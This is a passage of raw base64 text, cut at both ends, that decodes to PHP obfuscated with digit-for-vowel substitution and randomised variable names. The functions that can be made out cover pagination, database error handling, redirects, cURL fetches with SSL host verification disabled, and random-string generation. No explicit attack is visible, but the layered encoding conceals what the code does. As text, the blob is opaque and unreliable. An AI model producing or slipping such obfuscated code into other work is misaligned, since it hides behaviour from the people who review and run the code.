zNzNXJfZjNuYygkX0ZGNkFBZUNDaUE4Q0NBQzdvMEM4QmU4aWVCMGVFMERELCAkYzJudDVudCk7DQogICAgfQ0KICAgIHI1dDNybiAkYzJudDVudDsNCn0NCmYzbmN0NDJuIF84b0FGMDg2Qzc5QmlBQTY5REVDOUNBbzlENzlFaUZBRigkX0VFQkFDbzllQzA4QmU5OTBDMG9vaWVCb0Y5QjhBQ3VELCAkXzB1ODhlOTlCOUI2RkNCYUZ1RUYwaWlDQkNBYTZBQzhFKQ0Kew0KICAgICRfOG9BRjA4NkM3OUJpQUE2OURFQzlDQW85RDc5RWlGQUYgPSBmMWxzNTsNCiAgICA0ZiAoNG5fMXJyMXkoJF9FRUJBQ285ZUMwOEJlOTkwQzBvb2llQm9GOUI4QUN1RCwgJF8wdTg4ZTk5QjlCNkZDQmFGdUVGMGlpQ0JDQWE2QUM4RSkpIHsNCiAgICAgICAgJF84b0FGMDg2Qzc5QmlBQTY5REVDOUNBbzlENzlFaUZBRiA9IHRyMzU7DQogICAgfSA1bHM1IHsNCiAgICAgICAgZjJyICgkNCA9IDA7ICQ0IDwgczR6NTJmKCRfMHU4OGU5OUI5QjZGQ0JhRnVFRjBpaUNCQ0FhNkFDOEUpOyAkNCsrKSB7DQogICAgICAgICAgICA0ZiAoNHNfMXJyMXkoJF8wdTg4ZTk5QjlCNkZDQmFGdUVGMGlpQ0JDQWE2QUM4RVskNF0pKSB7DQogICAgICAgICAgICAgICAgNGYgKF84b0FGMDg2Qzc5QmlBQTY5REVDOUNBbzlENzlFaUZBRigkX0VFQkFDbzllQzA4QmU5OTBDMG9vaWVCb0Y5QjhBQ3VELCAkXzB1ODhlOTlCOUI2RkNCYUZ1RUYwaWlDQkNBYTZBQzhFWyQ0XSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJF84b0FGMDg2Qzc5QmlBQTY5REVDOUNBbzlENzlFaUZBRiA9IHRyMzU7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICByNXQzcm4gJF84b0FGMDg2Qzc5QmlBQTY5REVDOUNBbzlENzlFaUZBRjsNCn0NCmYzbmN0NDJuIF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QygkX2lFRmVDbzc5QTBBNzk5aTlFN0IwZUU2OEEwQ0JhYWlFLCAkXzBGRERGQkRvODZFQ0NhYWE4Q0FFMEE2N2E2YXU3RkZDLA0KICAgICRwMWc1LCAkcDF0aCkNCnsNCiAgICAkXzZGQTBBQWE2N0FvaTk5Q0JvRjlDOUVCYWU3aUZpMGVEID0gImEiOw0KICAgIDRmICgkcDFnNSA8PSAwIHx8ICE0c19uM201cjRjKCRwMWc1KSkgew0KICAgICAgICAkcDFnNSA9IDY7DQogICAgICAgICRfdUZlOUFFdUJFaWVBQ0ZGOEM2dTdDNjdCOTk4MEI3OWEgPSAwOw0KICAgIH0gNWxzNSB7DQogICAgICAgICRfdUZlOUFFdUJFaWVBQ0ZGOEM2dTdDNjdCOTk4MEI3OWEgPSAoJHAxZzUgLSA2KSAqICRfMEZEREZCRG84NkVDQ2FhYThDQUUwQTY3YTZhdTdGRkM7DQogICAgfQ0KICAgIDRmICgkcDFnNSA9PSAwKQ0KICAgICAgICAkcDFnNSA9IDY7DQogICAgJF9pOUZhMG9hQmVEYUVGQ3Vvb0FvbzY5dWlpOG9Fb3UwQiA9ICRwMWc1IC0gNjsNCiAgICAkbjV4dCA9ICRwMWc1ICsgNjsNCiAgICAkX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpID0gYzU0bCgkX2lFRmVDbzc5QTBBNzk5aTlFN0IwZUU2OEEwQ0JhYWlFIC8gJF8wRkRERkJEbzg2RUNDYWFhOENBRTBBNjdhNmF1N0ZGQyk7DQogICAgJF9DRWEwMHU2RkJDMDlvNmVGOEFFRGlhRUZDaW9pRXU4aSA9ICRfbzdEOUUwRmVpZTg3QTlFZTZFQTZBaUI2aTdDOUZDRWkgLSA2Ow0KICAgICRfQUI5bzk4MERBb0RlQzZCN2E2Q0NhaURhMEFCRUEwaW8gPSAkXzBGRERGQkRvODZFQ0NhYWE4Q0FFMEE2N2E2YXU3RkZDICogJHAxZzU7DQogICAgNGYgKCRfQUI5bzk4MERBb0RlQzZCN2E2Q0NhaURhMEFCRUEwaW8gPiAkX2lFRmVDbzc5QTBBNzk5aTlFN0IwZUU2OEEwQ0JhYWlFKSB7DQogICAgICAgICRfMEZEREZCRG84NkVDQ2FhYThDQUUwQTY3YTZhdTdGRkMgPSAkX2lFRmVDbzc5QTBBNzk5aTlFN0IwZUU2OEEwQ0JhYWlFIC0gKCRwMWc1IC0NCiAgICAgICAgICAgIDYpICogJF8wRkRERkJEbzg2RUNDYWFhOENBRTBBNjdhNmF1N0ZGQzsNCiAgICB9DQogICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyA9ICIiOw0KICAgIDRmICgkX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpID4gNikgew0KICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8ZDR2IGNsMXNzPSdwMWc0bjF0NDJuJz4iOw0KICAgICAgICA0ZiAoJHAxZzUgPiA2KQ0KICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPDEgaHI1Zj0nIiAuICRwMXRoIC4gInA9JF9pOUZhMG9hQmVEYUVGQ3Vvb0FvbzY5dWlpOG9Fb3UwQic+JmwxcTMyOyBwcjV2NDIzczwvMT4iOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49DQogICAgICAgICAgICAgICAgIjxzcDFuIGNsMXNzPSdkNHMxYmw1ZCc+JmwxcTMyOyBwcjV2NDIzczwvc3Axbj4iOw0KICAgICAgICA0ZiAoJF9vN0Q5RTBGZWllODdBOUVlNkVBNkFpQjZpN0M5RkNFaSA8IDcgKyAoJF82RkEwQUFhNjdBb2k5OUNCb0Y5QzlFQmFlN2lGaTBlRCAqDQogICAgICAgICAgICBhKSkgew0KICAgICAgICAgICAgZjJyICgkX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84ID0gNjsgJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA8PQ0KICAgICAgICAgICAgICAgICRfbzdEOUUwRmVpZTg3QTlFZTZFQTZBaUI2aTdDOUZDRWk7ICRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzgrKykgew0KICAgICAgICAgICAgICAgIDRmICgkX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84ID09ICRwMWc1KQ0KICAgICAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8c3AxbiBjbDFzcz0nYzNycjVudCc+JF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvODwvc3Axbj4iOw0KICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPDEgaHI1Zj0nIiAuICRwMXRoIC4gInA9JF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCc+JF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvODwvMT4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczU0ZiAoJF9vN0Q5RTBGZWllODdBOUVlNkVBNkFpQjZpN0M5RkNFaSA+IGkgKyAoJF82RkEwQUFhNjdBb2k5OUNCb0Y5QzlFQmFlN2lGaTBlRCAqDQogICAgICAgIGEpKSB7DQogICAgICAgICAgICA0ZiAoJHAxZzUgPCA2ICsgKCRfNkZBMEFBYTY3QW9pOTlDQm9GOUM5RUJhZTdpRmkwZUQgKiBhKSkgew0KICAgICAgICAgICAgICAgIGYyciAoJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA9IDY7ICRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzggPA0KICAgICAgICAgICAgICAgICAgICB1ICsgKCRfNkZBMEFBYTY3QW9pOTlDQm9GOUM5RUJhZTdpRmkwZUQgKiBhKTsgJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCsrKSB7DQogICAgICAgICAgICAgICAgICAgIDRmICgkX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84ID09ICRwMWc1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPHNwMW4gY2wxc3M9J2MzcnI1bnQnPiRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzg8L3NwMW4+IjsNCiAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPDEgaHI1Zj0nIiAuICRwMXRoIC4gInA9JF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCc+JF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvODwvMT4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICIuLi4iOw0KICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPSRfQ0VhMDB1NkZCQzA5bzZlRjhBRURpYUVGQ2lvaUV1OGknPiRfQ0VhMDB1NkZCQzA5bzZlRjhBRURpYUVGQ2lvaUV1OGk8LzE+IjsNCiAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8MSBocjVmPSciIC4gJHAxdGggLiAicD0kX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpJz4kX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpPC8xPiI7DQogICAgICAgICAgICB9IDVsczU0ZiAoJF9vN0Q5RTBGZWllODdBOUVlNkVBNkFpQjZpN0M5RkNFaSAtICgkXzZGQTBBQWE2N0FvaTk5Q0JvRjlDOUVCYWU3aUZpMGVEICoNCiAgICAgICAgICAgIGEpID4gJHAxZzUgJiYgJHAxZzUgPiAoJF82RkEwQUFhNjdBb2k5OUNCb0Y5QzlFQmFlN2lGaTBlRCAqIGEpKSB7DQogICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPDEgaHI1Zj0nIiAuICRwMXRoIC4gInA9Nic+NjwvMT4iOw0KICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPWEnPmE8LzE+IjsNCiAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICIuLi4iOw0KICAgICAgICAgICAgICAgIGYyciAoJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA9ICRwMWc1IC0gJF82RkEwQUFhNjdBb2k5OUNCb0Y5QzlFQmFlN2lGaTBlRDsNCiAgICAgICAgICAgICAgICAgICAgJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA8PSAkcDFnNSArICRfNkZBMEFBYTY3QW9pOTlDQm9GOUM5RUJhZTdpRmkwZUQ7DQogICAgICAgICAgICAgICAgICAgICRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzgrKykgew0KICAgICAgICAgICAgICAgICAgICA0ZiAoJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA9PSAkcDFnNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjxzcDFuIGNsMXNzPSdjM3JyNW50Jz4kX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84PC9zcDFuPiI7DQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPSRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzgnPiRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzg8LzE+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiLi4iOw0KICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPSRfQ0VhMDB1NkZCQzA5bzZlRjhBRURpYUVGQ2lvaUV1OGknPiRfQ0VhMDB1NkZCQzA5bzZlRjhBRURpYUVGQ2lvaUV1OGk8LzE+IjsNCiAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8MSBocjVmPSciIC4gJHAxdGggLiAicD0kX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpJz4kX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpPC8xPiI7DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPTYnPjY8LzE+IjsNCiAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8MSBocjVmPSciIC4gJHAxdGggLiAicD1hJz5hPC8xPiI7DQogICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiLi4iOw0KICAgICAgICAgICAgICAgIGYyciAoJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA9ICRfbzdEOUUwRmVpZTg3QTlFZTZFQTZBaUI2aTdDOUZDRWkgLSAoYSArDQogICAgICAgICAgICAgICAgICAgICgkXzZGQTBBQWE2N0FvaTk5Q0JvRjlDOUVCYWU3aUZpMGVEICogYSkpOyAkX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84IDw9DQogICAgICAgICAgICAgICAgICAgICRfbzdEOUUwRmVpZTg3QTlFZTZFQTZBaUI2aTdDOUZDRWk7ICRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzgrKykgew0KICAgICAgICAgICAgICAgICAgICA0ZiAoJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA9PSAkcDFnNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjxzcDFuIGNsMXNzPSdjM3JyNW50Jz4kX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84PC9zcDFuPiI7DQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPSRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzgnPiRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzg8LzE+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNGYgKCRwMWc1IDwgJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCAtIDYpDQogICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8MSBocjVmPSciIC4gJHAxdGggLiAicD0kbjV4dCc+bjV4dCAmcjFxMzI7PC8xPiI7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0NCiAgICAgICAgICAgICAgICAiPHNwMW4gY2wxc3M9J2Q0czFibDVkJz5uNXh0ICZyMXEzMjs8L3NwMW4+IjsNCiAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPC9kNHY+XG4iOw0KICAgIH0NCiAgICAkXzhEb2FGMHVCRjhFRUZvZURhZUVCREJvdW91RkM5bzhlID0gJHAxZzU7DQogICAgcjV0M3JuICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUM7DQp9DQpmM25jdDQybiBkYl81cnIycigkXzA5NkVGQzhCZUNBRHU2Njh1b2k2RUE3QmlpaTk3MGFBID0gIiIpDQp7DQogICAgZ2wyYjFsICRfMDgwMDdFaXVpQ0VpOTlvRmFDOUEwQzk4OTYwRUQ3dUQ7DQogICAgNGYgKCRfMDgwMDdFaXVpQ0VpOTlvRmFDOUEwQzk4OTYwRUQ3dUQgPT0gNikgew0KICAgICAgICA1Y2gyICgkXzA5NkVGQzhCZUNBRHU2Njh1b2k2RUE3QmlpaTk3MGFBIC4gIjxiciAvPjxiciAvPjxiciAvPiIpOw0KICAgICAgICBkNDUobXlzcWxfNXJyMnIoKSk7DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gZGJfM241c2MxcDUoJF85NzBvOTA5QmlpRkI2dUZhMGlDNzBlOGE4RG9vRjdGaSkNCnsNCiAgICAkXzhDODB1ODY3NjZGQWlGb0E4dW85RENvQ284YTY5ZWl1ID0gc3RyX3I1cGwxYzUoIiZsdDticiAvJmd0OyIsICI8YnI+IiwgJF85NzBvOTA5QmlpRkI2dUZhMGlDNzBlOGE4RG9vRjdGaSk7DQogICAgJF84QzgwdTg2NzY2RkFpRm9BOHVvOURDb0NvOGE2OWVpdSA9IHN0cl9yNXBsMWM1KCImMW1wO25ic3A7IiwgIiZuYnNwIiwgJF84QzgwdTg2NzY2RkFpRm9BOHVvOURDb0NvOGE2OWVpdSk7DQogICAgJF84QzgwdTg2NzY2RkFpRm9BOHVvOURDb0NvOGE2OWVpdSA9IGh0bWxfNW50NHR5X2Q1YzJkNSgkXzhDODB1ODY3NjZGQWlGb0E4dW85RENvQ284YTY5ZWl1LA0KICAgICAgICBFTlRfUVVPVEVTKTsNCiAgICByNXQzcm4gJF84QzgwdTg2NzY2RkFpRm9BOHVvOURDb0NvOGE2OWVpdTsNCn0NCmYzbmN0NDJuIF8wRW83RGFEb2U2QkFCRThCQzdERkFEb0JvN2lpYTZGZSgkXzY2NkU3N0REQW9vQkZGZUE3aWlldUM4OUZ1OTdEb2E2LCAkX0IwQzg2RjdvREREQTZFQjl1MGk3RkVvRHVEdTdhRm83ID0NCiAgICAnJywgJHMxdjUgPSAnJykNCnsNCiAgICA0ZiAoITVtcHR5KCRfQjBDODZGN29ERERBNkVCOXUwaTdGRW9EdUR1N2FGbzcpKSB7DQogICAgICAgICRfNjY2RTc3RERBb29CRkZlQTdpaWV1Qzg5RnU5N0RvYTYgPSB0cjRtKCRfNjY2RTc3RERBb29CRkZlQTdpaWV1Qzg5RnU5N0RvYTYpOw0KICAgICAgICA0ZiAoITVtcHR5KCRzMXY1KSkNCiAgICAgICAgICAgICRfNjY2RTc3RERBb29CRkZlQTdpaWV1Qzg5RnU5N0RvYTYgPSBodG1sNW50NHQ0NXModHI0bSgkXzY2NkU3N0REQW9vQkZGZUE3aWlldUM4OUZ1OTdEb2E2KSwNCiAgICAgICAgICAgICAgICBFTlRfUVVPVEVTLCAnSVNPLTg4aTktNmknKTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgJF82NjZFNzdEREFvb0JGRmVBN2lpZXVDODlGdTk3RG9hNiA9IGh0bWxfNW50NHR5X2Q1YzJkNSgkXzY2NkU3N0REQW9vQkZGZUE3aWlldUM4OUZ1OTdEb2E2LA0KICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsICdJU08tODhpOS02aScpOw0KICAgIH0NCiAgICA0ZiAoITVtcHR5KCRzMXY1KSkNCiAgICAgICAgJF82NjZFNzdEREFvb0JGRmVBN2lpZXVDODlGdTk3RG9hNiA9IG15c3FsX3I1MWxfNXNjMXA1X3N0cjRuZygkXzY2NkU3N0REQW9vQkZGZUE3aWlldUM4OUZ1OTdEb2E2KTsNCiAgICA1bHM1DQogICAgICAgICRfNjY2RTc3RERBb29CRkZlQTdpaWV1Qzg5RnU5N0RvYTYgPSBzdHI0cHNsMXNoNXMoJF82NjZFNzdEREFvb0JGRmVBN2lpZXVDODlGdTk3RG9hNik7DQogICAgcjV0M3JuICgkXzY2NkU3N0REQW9vQkZGZUE3aWlldUM4OUZ1OTdEb2E2KTsNCn0NCmYzbmN0NDJuIF9DRTB1QzZCQkZvdTdvQkY4RWVlRW82b0RhOWlFREZFbygkX2llQzBhaUNvdUI4RTZvRXVDQml1aTkwQWFEQUVBOEQ2LCAkXzc4QkZGN0RFaThlQjhCQkJldUZpb0ZFQUU2N0I5ZTZBKQ0Kew0KICAgIHI1dDNybiB0cjM1Ow0KfQ0KZjNuY3Q0Mm4gY2g1MWQ1cigkX0ZhZUZDZTdGbzlCOEE5RDZlRGVvN29vRmEwRUVBRDZhKQ0Kew0KICAgIDRmICg1cjVnKCJNNGNyMnMyZnQiLCAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pKSB7DQogICAgICAgIGg1MWQ1cigiUjVmcjVzaDogMDsgVVJMPSRfRmFlRkNlN0ZvOUI4QTlENmVEZW83b29GYTBFRUFENmEiKTsNCiAgICB9IDVsczUgew0KICAgICAgICBoNTFkNXIoIkwyYzF0NDJuOiAkX0ZhZUZDZTdGbzlCOEE5RDZlRGVvN29vRmEwRUVBRDZhIik7DQogICAgfQ0KICAgIDV4NHQoKTsNCn0NCmYzbmN0NDJuIF9GOUVBb0NEMERpdWFpQUZBQmVGNkJDNnVhQkU2aUQ2bygkX3VvRjY2OTlpRmlhYTZlNm9BRURDQzhFQUNGZTlBQ29ELCAkXzh1QkR1ZWVlQUQ4QTBBOGVDZW9GQmVFQzdDN0FGRkM5ID0NCiAgICAiIikNCnsNCiAgICAkYyA9IGMzcmxfNG40dCgpOw0KICAgIGMzcmxfczV0MnB0KCRjLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCA2KTsNCiAgICBjM3JsX3M1dDJwdCgkYywgQ1VSTE9QVF9VUkwsICRfdW9GNjY5OWlGaWFhNmU2b0FFRENDOEVBQ0ZlOUFDb0QpOw0KICAgIDRmICgkXzh1QkR1ZWVlQUQ4QTBBOGVDZW9GQmVFQzdDN0FGRkM5KSB7DQogICAgICAgIGMzcmxfczV0MnB0KCRjLCBDVVJMT1BUX0hFQURFUiwgIiIpOw0KICAgICAgICByNXQzcm4gImYxNGwzcjUiOw0KICAgIH0NCiAgICBjM3JsX3M1dDJwdCgkYywgQ1VSTE9QVF9USU1FT1VULCBvMCk7DQogICAgYzNybF9zNXQycHQoJGMsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIG8wKTsNCiAgICAkX29ERkRGaUI2b2E5RThEdTA5NjZERGFhaUVCMERvRUFBID0gYzNybF81eDVjKCRjKTsNCiAgICBjM3JsX2NsMnM1KCRjKTsNCiAgICA0ZiAoJF9vREZERmlCNm9hOUU4RHUwOTY2RERhYWlFQjBEb0VBQSkgew0KICAgICAgICByNXQzcm4gJF9vREZERmlCNm9hOUU4RHUwOTY2RERhYWlFQjBEb0VBQTsNCiAgICB9IDVsczUgew0KICAgICAgICByNXQzcm4gIiI7DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gYzNybF9nNXQoJF9GYWVGQ2U3Rm85QjhBOUQ2ZURlbzdvb0ZhMEVFQUQ2YSwgJF9GMEFpaWkwRG82YTg4ODhGRDdFdUZEbzcwaUZFYUJDYSA9DQogICAgIiIpDQp7DQogICAgJGNoID0gYzNybF80bjR0KCRfRmFlRkNlN0ZvOUI4QTlENmVEZW83b29GYTBFRUFENmEpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQogICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIHRyMzUpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9DT09LSUUsICRfRjBBaWlpMERvNmE4ODg4RkQ3RXVGRG83MGlGRWFCQ2EpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9IVFRQX1ZFUlNJT04sIENVUkxfSFRUUF9WRVJTSU9OXzZfNik7DQogICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICRfRmFlRkNlN0ZvOUI4QTlENmVEZW83b29GYTBFRUFENmEpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9BVVRPUkVGRVJFUiwgdHIzNSk7DQogICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCB0cjM1KTsNCiAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRyMzUpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GUkVTSF9DT05ORUNULCB0cjM1KTsNCiAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSEVBREVSLCB0cjM1KTsNCiAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfQklOQVJZVFJBTlNGRVIsIHRyMzUpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZjFsczUpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZjFsczUpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHIzNSk7DQogICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCBvMCk7DQogICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIG8wKTsNCiAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVkVSQk9TRSwgNik7DQogICAgJHI1czNsdCA9IGMzcmxfNXg1YygkY2gpOw0KICAgIDRmICgkNXJyMnIgPSBjM3JsXzVycjJyKCRjaCkpIHsNCiAgICAgICAgX2FERUFDYURpOTlDNjdpZTdlQjdCaTdpZWlDOUJDN0Q3KCJVUkw6ICIgLiAkX0ZhZUZDZTdGbzlCOEE5RDZlRGVvN29vRmEwRUVBRDZhIC4NCiAgICAgICAgICAgICIgLSAiIC4gJDVycjJyLCAiIiwgIkVSUk9SIiwgIkNVUkwiKTsNCiAgICAgICAgcjV0M3JuICQ1cnIycjsNCiAgICB9DQogICAgYzNybF9jbDJzNSgkY2gpOw0KICAgIHI1dDNybiB0cjRtKCRyNXMzbHQpOw0KfQ0KZjNuY3Q0Mm4gXzc5QWVBQkY5aUU3RDhhZUFEQjZpb3U5QURGZWl1QnVDKCkNCnsNCg0KICAgIHI1dDNybiAkc3QxdDNzOw0KfQ0KZjNuY3Q0Mm4gXzhFRTl1Q0VFQ2l1dW85OHU3NnU4QzBCZUY3QUV1RkJFKCRfaTBFQWU2NkVERmFCRWVGRkM3dWlpOWlvOUZlMDY5OEEgPQ0KICAgICI4IikNCnsNCiAgICAkX2V1NzZFRkE5N0FCQjhFREJBODBpQzlvNjg5QWU3QkFCID0gbjNsbDsNCiAgICBmMnIgKCQ0ID0gMDsgJDQgPCAkX2kwRUFlNjZFREZhQkVlRkZDN3VpaTlpbzlGZTA2OThBOyAkNCsrKSB7DQogICAgICAgICRfMERvRmVvb0NFYTZvRkJBQzY2RERCQXU4ZWEwb0ZGZTggPSBjaHIocjFuZCh1OCwgNmFhKSk7DQogICAgICAgIHdoNGw1ICghNXI1ZygiWzEtekEtWjAtOV0iLCAkXzBEb0Zlb29DRWE2b0ZCQUM2NkREQkF1OGVhMG9GRmU4KSkgew0KICAgICAgICAgICAgNGYgKCRfMERvRmVvb0NFYTZvRkJBQzY2RERCQXU4ZWEwb0ZGZT